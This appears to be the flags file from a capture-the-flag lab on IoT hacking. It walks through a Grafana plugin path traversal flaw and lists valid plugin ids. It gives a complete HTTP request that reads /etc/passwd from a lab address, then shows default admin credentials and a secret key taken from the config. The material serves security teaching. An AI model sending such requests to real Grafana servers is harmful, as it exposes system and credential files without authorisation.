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cyber-security-resources/iot_hacking/flags.md
Omar Santos dad9c40852
Update flags.md
2023-05-25 15:35:31 -04:00

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IoT Hacking CLUS CTF Flags

The following are the CTF flags for the grafana vulnerability in the IoT device:

The vulnerability is caused by plugin module, which is able to serve the static file inside the plugin folder. But for lock of check, attacker can use ../ to step up from the plugin folder to parent foler and download arbitrary files.

To exploit the vulnerabilty, you should know a valid plugin id, such as alertlist, here are some of common plugin ids:

alertlist
cloudwatch
dashlist
elasticsearch
graph
graphite
heatmap
influxdb
mysql
opentsdb
pluginlist
postgres
prometheus
stackdriver
table
text

Send following request to retrieve the **/etc/passwd ** (you can replace the alertlist with any valid plugin id):

GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: http://192.168.3.126:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
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Getting the Admin Password and Secret Key

It is just the default example configuration:

# default admin user, created on startup
;admin_user = admin

# default admin password, can be changed before first start of grafana,  or in profile settings
;admin_password = admin

...

# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm
image